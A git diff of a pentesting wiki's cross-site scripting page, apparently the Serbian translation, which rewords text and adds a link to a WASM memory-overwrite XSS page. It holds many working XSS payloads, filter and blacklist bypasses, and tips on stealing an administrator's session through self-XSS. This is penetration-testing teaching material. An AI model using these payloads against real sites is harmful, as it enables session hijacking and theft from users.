diff --git a/src/SUMMARY.md b/src/SUMMARY.md index be4d4275a..4c7d77d24 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -725,6 +725,7 @@ - [SOME - Same Origin Method Execution](pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md) - [Sniff Leak](pentesting-web/xss-cross-site-scripting/sniff-leak.md) - [Steal Info JS](pentesting-web/xss-cross-site-scripting/steal-info-js.md) + - [Wasm Linear Memory Template Overwrite Xss](pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md) - [XSS in Markdown](pentesting-web/xss-cross-site-scripting/xss-in-markdown.md) - [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md) - [XS-Search/XS-Leaks](pentesting-web/xs-search/README.md) diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md index ba6b01f53..d4bb25b32 100644 --- a/src/pentesting-web/xss-cross-site-scripting/README.md +++ b/src/pentesting-web/xss-cross-site-scripting/README.md @@ -4,65 +4,65 @@ ## Metodologija -1. Proveri da li se **bilo koja vrednost koju kontrolišeš** (_parameters_, _path_, _headers_?, _cookies_?) **reflektuje** u HTML-u ili se **koristi** u **JS** kodu. -2. **Pronađi kontekst** u kome je reflektovano/korisćeno. +1. Proverite da li se **bilo koja vrednost kojom upravljate** (_parameters_, _path_, _headers_?, _cookies_?) **reflektuje** u HTML-u ili **koristi** od strane **JS** koda. +2. **Pronađite kontekst** u kome se to reflektuje/koristi. 3. Ako je **reflektovano** -1. Proveri **koje simbole možeš koristiti** i u zavisnosti od toga, pripremi payload: +1. Proverite **koje simbole možete koristiti** i u zavisnosti od toga pripremite payload: 1. U **raw HTML**: -1. Možeš li kreirati nove HTML tagove? -2. Možeš li koristiti evente ili atribute koji podržavaju `javascript:` protocol? -3. Možeš li zaobići zaštite? -4. Da li se HTML sadržaj interpretira kroz neki client side JS engine (_AngularJS_, _VueJS_, _Mavo_...), koji bi mogaoš zloupotrebiti kroz [**Client Side Template Injection**](../client-side-template-injection-csti.md). -5. Ako ne možeš kreirati HTML tagove koji izvršavaju JS kod, možeš li zloupotrebiti [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)? +1. Možete li kreirati nove HTML tagove? +2. Možete li koristiti event-e ili atribute koji podržavaju `javascript:` protokol? +3. Možete li zaobići zaštite? +4. Da li HTML sadržaj tumači neki client side JS engine (_AngularJS_, _VueJS_, _Mavo_...), tada možete iskoristiti [**Client Side Template Injection**](../client-side-template-injection-csti.md). +5. Ako ne možete kreirati HTML tagove koji izvršavaju JS kod, možete li iskoristiti [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)? 2. Unutar **HTML taga**: -1. Možeš li izaći u raw HTML kontekst? -2. Možeš li kreirati nove evente/atribute koji izvršavaju JS kod? -3. Da li atribut u kome si zarobljen podržava izvršavanje JS? -4. Možeš li zaobići zaštite? +1. Možete li izaći u raw HTML kontekst? +2. Možete li kreirati nove event-e/atribute za izvršavanje JS koda? +3. Da li atribut u kojem ste "zarobljeni" podržava izvršavanje JS-a? +4. Možete li zaobići zaštite? 3. Unutar **JavaScript koda**: -1. Možeš li pobjeći iz ``** tagova HTML stranice, unutar `.js` fajla ili unutar atributa koji koristi **`javascript:`** protokol: +U ovom slučaju vaš unos se reflektuje između **``** tagova HTML stranice, unutar `.js` fajla ili unutar atributa koji koristi **`javascript:`** protokol: -- Ako je reflektovano između **``** tagova, čak i ako je vaš unos unutar bilo kojih navodnika, možete pokušati da injektujete `` i pobegnete iz tog konteksta. Ovo radi zato što **pregledač će prvo parsirati HTML tagove** a zatim sadržaj, te neće primetiti da je vaš ubrizgani `` tag unutar HTML koda. -- Ako je reflektovano **unutar JS stringa** i prethodni trik ne radi, moraćete da **izađete** iz stringa, **izvršite** svoj kod i **rekonstrušete** JS kod (ako ima greške, neće biti izvršen): +- Ako se reflektuje između **``** tagova, čak i ako je vaš unos unutar bilo kakvih navodnika, možete pokušati da injektujete `` i pobegnete iz ovog konteksta. Ovo funkcioniše zato što će **browser prvo parsirati HTML tagove** i zatim sadržaj, zato neće primetiti da je vaš injektovani `` tag unutar HTML koda. +- Ako se reflektuje **unutar JS stringa** i poslednji trik ne radi biće potrebno da **izađete** iz stringa, **izvršite** vaš kod i **rekonstrušete** JS kod (ako ima bilo kakva greška, neće biti izvršeno: - `'-alert(1)-'` - `';-alert(1)//` - `\';alert(1)//` -- Ako je reflektovano unutar template literals možete **ubaciti JS izraze** koristeći `${ ... }` sintaksu: `` var greetings = `Hello, ${alert(1)}` `` -- **Unicode enkodiranje** funkcioniše za pisanje **validnog javascript koda**: +- Ako se reflektuje unutar template literals možete **ugraditi JS izraze** koristeći `${ ... }` sintaksu: `` var greetings = `Hello, ${alert(1)}` `` +- **Unicode encode** radi da napišete **valid javascript code**: ```javascript alert(1) alert(1) @@ -86,7 +86,7 @@ alert(1) ``` #### Javascript Hoisting -Javascript Hoisting references the opportunity to **deklarisati funkcije, promenljive ili klase nakon što su korišćene, kako biste mogli iskoristiti scenarije u kojima XSS koristi nedeklarisane promenljive ili funkcije.**\ +Javascript Hoisting odnosi se na mogućnost da **declare functions, variables or classes after they are used so you can abuse scenarios where a XSS is using undeclared variables or functions.**\ **Pogledajte sledeću stranicu za više informacija:** @@ -96,19 +96,19 @@ js-hoisting.md ### Javascript Function -Mnoge web stranice imaju endpoints koji **prihvataju kao parametar ime funkcije koju treba izvršiti**. Čest primer u divljini je nešto poput: `?callback=callbackFunc`. +Nekoliko web stranica ima endpoints koji **accept as parameter the name of the function to execute**. Uobičajen primer koji se viđa u prirodi je nešto poput: `?callback=callbackFunc`. -Dobar način da otkrijete da li se nešto što korisnik direktno unese pokušava izvršiti je **izmeniti vrednost parametra** (na primer u 'Vulnerable') i posmatrati konzolu za greške poput: +Dobar način da utvrdite da li se nešto što korisnik direktno unese pokušava izvršiti je **modifying the param value** (na primer u 'Vulnerable') i praćenje konzole za greške kao: ![](<../../images/image (711).png>) -Ako je ranjiv, mogli biste uspeti da **pokrenete alert** samo slanjem vrednosti: **`?callback=alert(1)`**. Međutim, veoma je često da ovi endpoints **validiraju sadržaj** da dozvole samo slova, brojeve, tačke i donje crte (**`[\w\._]`**). +Ako je ranjivo, mogli biste biti u mogućnosti da **trigger an alert** jednostavnim slanjem vrednosti: **`?callback=alert(1)`**. Međutim, veoma je često da ovi endpoints **validate the content** tako da dozvoljavaju samo slova, brojeve, tačke i donje crte (**`[\w\._]`**). -Međutim, čak i sa tom ograničenjem još uvek je moguće sprovesti neke akcije. To je zato što možete iskoristiti te dozvoljene karaktere da **pristupite bilo kom elementu u DOM-u**: +Međutim, čak i uz to ograničenje i dalje je moguće izvršiti neke akcije. To je zato što možete koristiti te valid chars da **access any element in the DOM**: ![](<../../images/image (747).png>) -Neke korisne funkcije za ovo su: +Some useful functions for this: ``` firstElementChild lastElementChild @@ -116,11 +116,11 @@ nextElementSibiling lastElementSibiling parentElement ``` -Takođe možete pokušati da direktno покренете **Javascript functions**: `obj.sales.delOrders`. +Takođe možete pokušati direktno da **pokrenete Javascript funkcije**: `obj.sales.delOrders`. -Međutim, obično su endpointi koji izvršavaju naznačenu funkciju endpointi bez mnogo zanimljivog DOM-a, **other pages in the same origin** će imati **more interesting DOM** za izvođenje više akcija. +Međutim, obično su endpoint-i koji izvršavaju navedenu funkciju endpoint-i bez mnogo interesantnog DOM-a, **druge stranice u istom originu** će imati **zanimljiviji DOM** za izvođenje više akcija. -Stoga, da biste **abuse this vulnerability in a different DOM**, razvijen je exploit za **Same Origin Method Execution (SOME)**: +Stoga, da biste **zloupotrebili ovu ranjivost u drugom DOM-u** razvijen je exploit **Same Origin Method Execution (SOME)**: {{#ref}} @@ -129,7 +129,7 @@ some-same-origin-method-execution.md ### DOM -Postoji **JS code** koji nesigurno koristi neke **podatke kontrolisane od strane napadača** kao što je `location.href`. Napadač ovo može iskoristiti da izvrši proizvoljan JS код. +Postoji **JS code** koji **na nesiguran način** koristi neke **podatke koje kontroliše napadač** poput `location.href`. Napadač može to zloupotrebiti za izvršavanje proizvoljnog JS koda. {{#ref}} @@ -138,8 +138,8 @@ dom-xss.md ### **Universal XSS** -Ovakve vrste XSS mogu se naći **anywhere**. One ne zavise samo od exploitatovanja klijenta web aplikacije već od **any** **context**. Ovakve vrste **arbitrary JavaScript execution** mogu čak biti iskorišćene da dovedu do **RCE**, da **read** **arbitrary** **files** na klijentima i serverima, i još mnogo toga.\ -Neki **examples**: +Ovakav tip XSS može se naći **bilo gde**. Ne zavise samo od eksploatacije klijenta web aplikacije, već od **bilo kog** **konteksta**. Ovakvo **proizvoljno izvršavanje JavaScript-a** može čak biti zloupotrebljeno za dobijanje **RCE**, za **čitati** **proizvoljne** **fajlove** na klijentima i serverima, i više.\ +Neki **primeri**: {{#ref}} @@ -157,9 +157,9 @@ server-side-xss-dynamic-pdf.md ## Injecting inside raw HTML -Kada je vaš unos reflektovan **inside the HTML page** ili možete da escape-ujete i ubacite HTML kod u ovom kontekstu, prva stvar koju treba da uradite je da proverite da li možete da zloupotrebite `<` za kreiranje novih tagova: jednostavno pokušajte da **reflect** taj **char** i proverite da li je **HTML encoded** ili **deleted** ili da li je **reflected without changes**. **Samo u poslednjem slučaju ćete moći da iskoristite ovu situaciju**.\ -Za ove slučaje takođe **keep in mind** [**Client Side Template Injection**](../client-side-template-injection-csti.md).\ -_**Napomena: HTML komentar se može zatvoriti koristeći `-->` ili `--!>`**_ +Kada je vaš input reflektovan **inside the HTML page** ili možete escape-ovati i injektovati HTML kod u tom kontekstu, **prva** stvar koju treba da uradite je da proverite da li možete iskoristiti `<` za kreiranje novih tagova: jednostavno pokušajte da **reflektujete** taj **char** i proverite da li je **HTML encoded** ili **obrisan**, ili je **reflektovan bez izmena**. **Samo u poslednjem slučaju bićete u mogućnosti da iskoristite ovaj slučaj**.\ +Za ove slučajeve takođe **imajte na umu** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ +_**Napomena: A HTML comment can be closed using\*\***\***\*`-->`\*\***\***\*or \*\***`--!>`\*\***\***\*_ U ovom slučaju, i ako se ne koristi black/whitelisting, možete koristiti payloads poput: ```html @@ -169,22 +169,22 @@ alert(1) ``` -Međutim, ako se koristi black/whitelisting tagova/atributa, moraćete da **brute-force koje tags** možete kreirati.\ -Kada otkrijete koji su **tags dozvoljeni**, treba da **brute-force attributes/events** unutar pronađenih validnih tagova da biste videli kako možete napasti kontekst. +Međutim, ako se koristi black/whitelisting tagova/atributa, moraćete da **brute-force which tags** možete da kreirate.\ +Kada ste **located which tags are allowed**, potrebno je da **brute-force attributes/events** unutar pronađenih validnih tagova da biste videli kako možete napasti kontekst. ### Tags/Events brute-force -Idite na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) i kliknite na _**Copy tags to clipboard**_. Zatim pošaljite sve tagove koristeći Burp intruder i proverite da li neki tag nije označen kao maliciozan od strane WAF-a. Kada otkrijete koje tags možete koristiti, možete **brute force all the events** koristeći validne tagove (na istoj web stranici kliknite na _**Copy events to clipboard**_ i sledite istu proceduru kao ranije). +Idite na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) i kliknite na _**Copy tags to clipboard**_. Zatim pošaljite sve njih koristeći Burp intruder i proverite da li je neki tag ostao neotkriven kao maliciozan od strane WAF-a. Kada otkrijete koje tagove možete koristiti, možete **brute force all the events** koristeći validne tagove (na istoj web stranici kliknite na _**Copy events to clipboard**_ i sledite istu proceduru kao ranije). ### Custom tags -Ako niste našli nijedan validan HTML tag, možete pokušati da **create a custom tag** i izvršite JS kod pomoću `onfocus` atributa. U XSS zahtevu, potrebno je da završite URL sa `#` kako biste naterali stranicu da se fokusira na taj objekat i izvrši kod: +Ako niste pronašli nijedan validan HTML tag, možete pokušati da **create a custom tag** i izvršite JS kod sa atributom `onfocus`. U XSS requestu, potrebno je da završite URL sa `#` kako biste naterali stranicu da se **focus on that object** i **execute** kod: ``` /?search=#x ``` ### Blacklist Bypasses -Ako se koristi neka vrsta blacklist-a, možete pokušati da je bypass-ujete pomoću nekih jednostavnih trikova: +Ako se koristi neka vrsta blacklist, možete pokušati da je bypass-ujete nekim smešnim trikovima: ```javascript //Random capitalization
``` -### Unutar atributa +### Within the attribute -Čak i ako **ne možete da pobegnete iz atributa** (`"` se enkoduje ili briše), u zavisnosti od **koji atribut** odražava vašu vrednost **da li kontrolišete celu vrednost ili samo njen deo** moći ćete to da zloupotrebite. Na **primer**, ako kontrolišete event kao što je `onclick=` moći ćete da natjerate da izvrši proizvoljni kod kada se klikne.\ -Drugi interesantan **primer** je atribut `href`, gde možete koristiti `javascript:` protokol da izvršite proizvoljni kod: **`href="javascript:alert(1)"`** +Čak i ako **ne možete da pobegnete iz atributa** (`"` se enkodira ili briše), u zavisnosti od **koji atribut** u kojem je vaša vrednost reflektovana i **da li kontrolišete celu vrednost ili samo njen deo** bićete u mogućnosti da to zloupotrebite. Na **primer**, ako kontrolišete event kao `onclick=` moći ćete da naterate izvršavanje proizvoljnog koda kada se klikne.\ +Još jedan zanimljiv **primer** je atribut `href`, gde možete koristiti `javascript:` protokol da izvršite proizvoljan kod: **`href="javascript:alert(1)"`** **Bypass inside event using HTML encoding/URL encode** -The **HTML encoded characters** inside the value of HTML tags attributes are **decoded on runtime**. Therefore something like the following will be valid (the payload is in bold): `Go Back ` +HTML enkodovani karakteri unutar vrednosti atributa HTML tagova se **dekodiraju tokom runtime-a**. Dakle, nešto poput sledećeg će biti validno (payload je u boldu): `Go Back ` -Note that **any kind of HTML encode is valid**: +Imajte na umu da je **bilo koja vrsta HTML enkodiranja validna**: ```javascript //HTML entities '-alert(1)-' @@ -299,11 +299,11 @@ Note that **any kind of HTML encode is valid**: a a ``` -**Imajte na umu da će i URL encode raditi:** +**Imajte na umu da će URL encode takođe raditi:** ```python Click ``` -**Bypass unutar event-a koristeći Unicode enkodovanje** +**Bypass unutar događaja koristeći Unicode enkodiranje** ```javascript //For some reason you can use unicode to encode "alert" but not "(1)" @@ -311,7 +311,7 @@ Note that **any kind of HTML encode is valid**: ``` ### Specijalni protokoli unutar atributa -Tamo možete koristiti protokole **`javascript:`** ili **`data:`** na nekim mestima da biste **izvršili proizvoljan JS kod**. Neki će zahtevati interakciju korisnika, neki neće. +Tu možete koristiti protokole **`javascript:`** ili **`data:`** na nekim mestima da biste **izvršili proizvoljan JS kod**. Neki će zahtevati interakciju korisnika, neki neće. ```javascript javascript:alert(1) JavaSCript:alert(1) @@ -331,9 +331,9 @@ data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4= data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg== ``` -**Mesta gde možete ubaciti ove protokole** +**Mesta gde možete injektovati ove protokole** -**Uopšteno** protokol `javascript:` može biti **korišćen u bilo kojem tagu koji prihvata atribut `href`** i u **većini** tagova koji prihvataju **atribut `src`** (ali ne `` ) ```html @@ -353,23 +353,23 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc //https://github.com/evilcos/xss.swf ``` -Imajte na umu da ako pokušate da **koristite oba** `URLencode + HTMLencode` u bilo kom redosledu da enkodujete **payload**, to **neće** **raditi**, ali možete **mešati ih unutar payload-a**. +Imajte na umu da ako pokušate da **upotrebite oba** `URLencode + HTMLencode` u bilo kom redosledu da enkodujete **payload** to **neće** **raditi**, ali možete **ih mešati unutar payload**. **Korišćenje Hex i Octal encode sa `javascript:`** -Možete koristiti **Hex** i **Octal encode** unutar `src` atributa `iframe` (najmanje) da navedete **HTML tags to execute JS**: +Možete koristiti **Hex** i **Octal encode** unutar `src` atributa `iframe` (barem) kako biste deklarisali **HTML tags to execute JS**: ```javascript //Encoded: // This WORKS @@ -385,17 +385,16 @@ Možete koristiti **Hex** i **Octal encode** unutar `src` atributa `iframe` (naj ```javascript //No safari @@ -410,14 +409,14 @@ Firefox: %09 %20 %28 %2C %3B Opera: %09 %20 %2C %3B Android: %09 %20 %28 %2C %3B ``` -### XSS u "oznakama koje se ne mogu iskoristiti" (hidden input, link, canonical, meta) +### XSS u "Unexploitable tags" (hidden input, link, canonical, meta) -Iz [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sada je moguće zloupotrebiti hidden inputs pomoću:** +Prema [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sada je moguće zloupotrebiti hidden inputs pomoću:** ```html ``` -I u **meta tags**: +I u **meta tagovima**: ```html
Newsletter popup
``` -Iz [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): Možete izvršiti **XSS payload unutar skrivenog atributa**, pod uslovom da uspete da **persuade** **victim** da pritisne **key combination**. Na Firefox (Windows/Linux) kombinacija tastera je **ALT+SHIFT+X**, a na OS X je **CTRL+ALT+X**. Možete odrediti drugačiju kombinaciju tastera koristeći drugi taster u access key attribute. Evo vektora: +Iz [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): Možete izvršiti **XSS payload u skrivenom atributu**, pod uslovom da možete **nagovoriti** **žrtvu** da pritisne **kombinaciju tastera**. U Firefoxu na Windows/Linux kombinacija tastera je **ALT+SHIFT+X**, a na OS X je **CTRL+ALT+X**. Možete navesti drugu kombinaciju tastera koristeći drugi taster u atributu accesskey. Evo vektora: ```html ``` -**The XSS payload će biti nešto ovako: `" accesskey="x" onclick="alert(1)" x="`** +**The XSS payload will be something like this: `" accesskey="x" onclick="alert(1)" x="`** ### Blacklist Bypasses -Neki trikovi sa korišćenjem različitih enkodiranja već su objašnjeni u ovom odeljku. Vratite se da naučite gde možete koristiti: +Several tricks with using different encoding were exposed already inside this section. Go **back to learn where can you use:** - **HTML encoding (HTML tags)** -- **Unicode encoding (can be valid JS code):** `\u0061lert(1)` +- **Unicode encoding (može biti validan JS kod):** `\u0061lert(1)` - **URL encoding** - **Hex and Octal encoding** - **data encoding** **Bypasses for HTML tags and attributes** -Pročitajte [ Blacklist Bypasses of the previous section](#blacklist-bypasses). +Pogledajte[ Blacklist Bypasses of the previous section](#blacklist-bypasses). **Bypasses for JavaScript code** @@ -457,39 +456,39 @@ Pročitajte J[avaScript bypass blacklist of the following section](#javascript-b ### CSS-Gadgets -Ako ste pronašli **XSS u vrlo malom delu** veba koji zahteva neku interakciju (možda mali link u footer-u sa onmouseover elementom), možete pokušati da **izmenite prostor koji taj element zauzima** kako biste povećali verovatnoću da se link aktivira. +If you found a **XSS in a very small part** of the web that requires some kind of interaction (maybe a small link in the footer with an onmouseover element), you can try to **modify the space that element occupies** to maximize the probabilities of have the link fired. -Na primer, možete dodati stil u element kao: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5` +For example, you could add some styling in the element like: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5` -Ali, ako WAF filtrira atribut style, možete koristiti CSS Styling Gadgets, pa ako nađete, na primer +But, if the WAF is filtering the style attribute, you can use CSS Styling Gadgets, so if you find, for example > .test {display:block; color: blue; width: 100%\} -i +and > \#someid {top: 0; font-family: Tahoma;} -Sada možete modifikovati naš link i dovesti ga u formu +Now you can modify our link and bring it to the form > \
-Ovaj trik je preuzet sa [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703) +This trick was taken from [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703) ## Injecting inside JavaScript code -U ovom slučaju, vaš **input** će biti **reflektovan unutar JS koda** .js fajla ili između `` tagova ili između HTML događaja koji mogu izvršavati JS kod ili između atributa koji prihvataju `javascript:` protokol. +In these case you **input** is going to be **reflected inside the JS code** of a `.js` file or between `` tags or between HTML events that can execute JS code or between attributes that accepts the `javascript:` protocol. -### Escaping \` lako možete prekinuti zatvaranje `` you could easily **escape closing the ` ``` -Obratite pažnju da u ovom primeru **čak nismo ni zatvorili apostrof**. To je zato što se **HTML parsing prvo obavlja od strane browser-a**, što uključuje identifikovanje elemenata stranice, uključujući blokove script. Parsiranje JavaScript-a da bi se razumeli i izvršili ugrađeni skriptovi sprovodi se tek nakon toga. +Imajte na umu da u ovom primeru **čak nismo ni zatvorili jednostruki navodnik**. To je zato što **HTML parsing prvo obavlja browser**, što uključuje identifikovanje elemenata stranice, uključujući blokove script. Parsiranje JavaScript-a radi razumevanja i izvršavanja ugrađenih skripti obavlja se tek potom. ### Unutar JS koda -Ako se `<>` filtriraju, i dalje možete **escape-ovati string** tamo gde se vaš unos **nalazi** i **izvršiti proizvoljan JS**. Važno je **popraviti JS sintaksu**, jer ako postoje greške, JS kod se neće izvršiti: +Ako se `<>` sanitizuju, i dalje možete **escape the string** tamo gde je vaš unos **located** i **execute arbitrary JS**. Važno je **fix JS syntax**, jer ako postoje greške, JS kod neće biti izvršen: ``` '-alert(document.domain)-' ';alert(document.domain)// @@ -497,23 +496,23 @@ Ako se `<>` filtriraju, i dalje možete **escape-ovati string** tamo gde se vaš ``` #### JS-in-JS string break → inject → repair pattern -Kada korisnički unos dospe unutar navodnog JavaScript stringa (npr., server-side echo into an inline script), možete prekinuti string, inject code i popraviti sintaksu da bi parsiranje ostalo validno. Generički kostur: +Kada korisnički unos dospe unutar quoted JavaScript stringa (npr. server-side echo into an inline script), možete prekinuti string, inject code i popraviti sintaksu tako da parsiranje ostane važeće. Generički skelet: ``` " // end original string ; // safely terminate the statement // attacker-controlled JS ; a = " // repair and resume expected string/statement ``` -Primer URL obrasca kada se ranjivi parametar reflektuje u JS string: +Primer obrasca URL-a kada se ranjivi parametar reflektuje u JS string: ``` ?param=test";;a=" ``` -Ovo izvršava napadačev JS bez potrebe da se dira HTML kontekst (pure JS-in-JS). Kombinujte sa blacklist bypasses ispod kada filteri blokiraju ključne reči. +Ovo izvršava attacker JS bez potrebe da se dira HTML kontekst (čisti JS-in-JS). Kombinujte sa blacklist bypasses dole kada filters blokiraju keywords. ### Template literals `` -Da biste konstruisali **strings**, pored jednostrukih i dvostrukih navodnika, JS takođe prihvata **backticks** **` `` `**. Ovo je poznato kao template literals jer omogućavaju da se **embedded JS expressions** koriste pomoću `${ ... }` sintakse.\ -Stoga, ako otkrijete da je vaš unos **reflected** unutar JS stringa koji koristi backticks, možete zloupotrebiti sintaksu `${ ... }` da izvršite **arbitrary JS code**: +Da biste kreirali **strings**, pored jednostrukih i dvostrukih navodnika, JS takođe prihvata **backticks** **` `` `**. Ovo je poznato kao template literals jer dozvoljavaju da se **embedded JS expressions** ugrađuju koristeći `${ ... }` sintaksu.\ +Dakle, ako primetite da se vaš unos **reflected** unutar JS stringa koji koristi backticks, možete zloupotrebiti sintaksu `${ ... }` da izvršite **arbitrary JS code**: Ovo se može **zloupotrebiti** koristeći: ```javascript @@ -527,21 +526,21 @@ return loop } loop`` ``` -### Enkodirano code execution +### Enkodirano izvršavanje koda ```html ``` -**Javascript unutar komentara** +**Javascript u komentaru** ```javascript //If you can only inject inside a JS comment, you can still leak something //If the user opens DevTools request to the indicated sourceMappingURL will be send @@ -716,7 +715,7 @@ try{throw onerror=alert}catch{throw 1} - [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md) - [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix) -**Proizvoljan poziv funkcije (alert)** +**Poziv proizvoljne funkcije (alert)** ```javascript //Eval like functions eval('ale'+'rt(1)') @@ -778,45 +777,56 @@ top[8680439..toString(30)](1) ``` ## **DOM vulnerabilities** -Postoji **JS code** koji koristi **nesigurne podatke koje kontroliše napadač** kao što je `location.href`. Napadač može to zloupotrebiti da izvrši proizvoljan JS kod.\ -**Zbog obimnijeg objašnjenja** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:** +Postoji **JS code** koji koristi **nebezbedne podatke koje kontroliše napadač** poput `location.href`. Napadač može zloupotrebiti ovo da izvrši proizvoljni JS kod.\ +**Due to the extension of the explanation of** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:** {{#ref}} dom-xss.md {{#endref}} -Tamo ćete naći detaljno **objašnjenje šta su DOM vulnerabilities, kako nastaju i kako ih iskoristiti**.\ +Tamo ćete naći detaljno **objašnjenje šta su DOM vulnerabilities, kako nastaju, i kako ih eksploatisati**.\ Takođe, ne zaboravite da **na kraju pomenutog posta** možete naći objašnjenje o [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering). -### Upgrading Self-XSS +### Unapređivanje Self-XSS ### Cookie XSS -Ako možete pokrenuti XSS tako što ćete poslati payload unutar cookie-a, to je obično self-XSS. Međutim, ako nađete **vulnerable subdomain to XSS**, možete zloupotrebiti taj XSS da ubacite cookie za ceo domen i tako izazovete cookie XSS na glavnom domenu ili drugim poddomenima (onima ranjivim na cookie XSS). Za ovo možete koristiti cookie tossing attack: +Ako možete pokrenuti XSS slanjem payload-a unutar cookie-ja, ovo je obično self-XSS. Međutim, ako nađete **ranjiv poddomen na XSS**, možete zloupotrebiti taj XSS da ubacite cookie za ceo domen i tako trigger-ujete cookie XSS na glavnom domenu ili drugim poddomenima (onima ranjivim na cookie XSS). Za ovo možete koristiti cookie tossing attack: {{#ref}} ../hacking-with-cookies/cookie-tossing.md {{#endref}} -Primer značajne zloupotrebe ove tehnike možete naći u [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html). +You can find a great abuse of this technique in [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html). -### Sending your session to the admin +### Slanje vaše sesije adminu -Moguće je da korisnik podeli svoj profil sa adminom, i ako je self XSS u profilu korisnika i admin mu pristupi, on će aktivirati ranjivost. +Možda korisnik može podeliti svoj profil sa adminom i ako se self XSS nalazi u profilu korisnika i admin mu pristupi, on će trigger-ovati ranjivost. ### Session Mirroring -Ako nađete self XSS i web stranica ima **session mirroring for administrators**, na primer omogućavajući klijentima da zatraže pomoć, da bi admin mogao da pomogne videće ono što vidite u svojoj sesiji ali iz svoje (adminove) sesije. +Ako nađete self XSS i web stranica ima **session mirroring za administratore**, na primer omogućavajući klijentima da traže pomoć, admin koji želi da vam pomogne će videti ono što vi vidite u svojoj sesiji, ali iz svoje sesije. -Možete naterati **administrator trigger your self XSS** i ukrasti njegove cookies/session. +Možete naterati **administratora da trigger-uje vaš self XSS** i ukrasti njegove cookie-je/sesiju. + +## Ostali bypassi + +### Bypassing sanitization via WASM linear-memory template overwrite + +When a web app uses Emscripten/WASM, constant strings (like HTML format stubs) live in writable linear memory. A single in‑WASM overflow (e.g., unchecked memcpy in an edit path) can corrupt adjacent structures and redirect writes to those constants. Overwriting a template such as "

%.*s

" to "" turns sanitized input into a JavaScript handler value and yields immediate DOM XSS on render. + +Check the dedicated page with exploitation workflow, DevTools memory helpers, and defenses: + +{{#ref}} +wasm-linear-memory-template-overwrite-xss.md +{{#endref}} -## Other Bypasses ### Normalised Unicode -Možete proveriti da li su **reflected values** unicode normalizovane na serveru (ili na klijentu) i zloupotrebiti tu funkcionalnost da zaobiđete zaštite. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting). +Možete proveriti da li su **reflected values** unicode normalized na serveru (ili na client strani) i zloupotrebiti ovu funkcionalnost da zaobiđete zaštite. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting). ### PHP FILTER_VALIDATE_EMAIL flag Bypass ```javascript @@ -824,7 +834,7 @@ Možete proveriti da li su **reflected values** unicode normalizovane na serveru ``` ### Ruby-On-Rails bypass -Zbog **RoR mass assignment** navodnici se ubacuju u HTML i time se ograničenje navodnika zaobilazi, pa se dodatna polja (onfocus) mogu dodati unutar taga.\ +Zbog **RoR mass assignment** navodnici se ubacuju u HTML, pa se ograničenje navodnika zaobilazi i dodatna polja (onfocus) mogu dodati unutar taga.\ Primer forme ([from this report](https://hackerone.com/reports/709336)), ako pošaljete payload: ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa @@ -833,7 +843,7 @@ Par "Key","Value" biće vraćen ovako: ``` {" onfocus=javascript:alert('xss') autofocus a"=>"a"} ``` -Zatim će atribut onfocus biti umetnut i događa se XSS. +Zatim će atribut onfocus biti umetnut i doći će do XSS-a. ### Posebne kombinacije ```html @@ -865,24 +875,24 @@ Zatim će atribut onfocus biti umetnut i događa se XSS. window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2) document['default'+'View'][`\u0061lert`](3) ``` 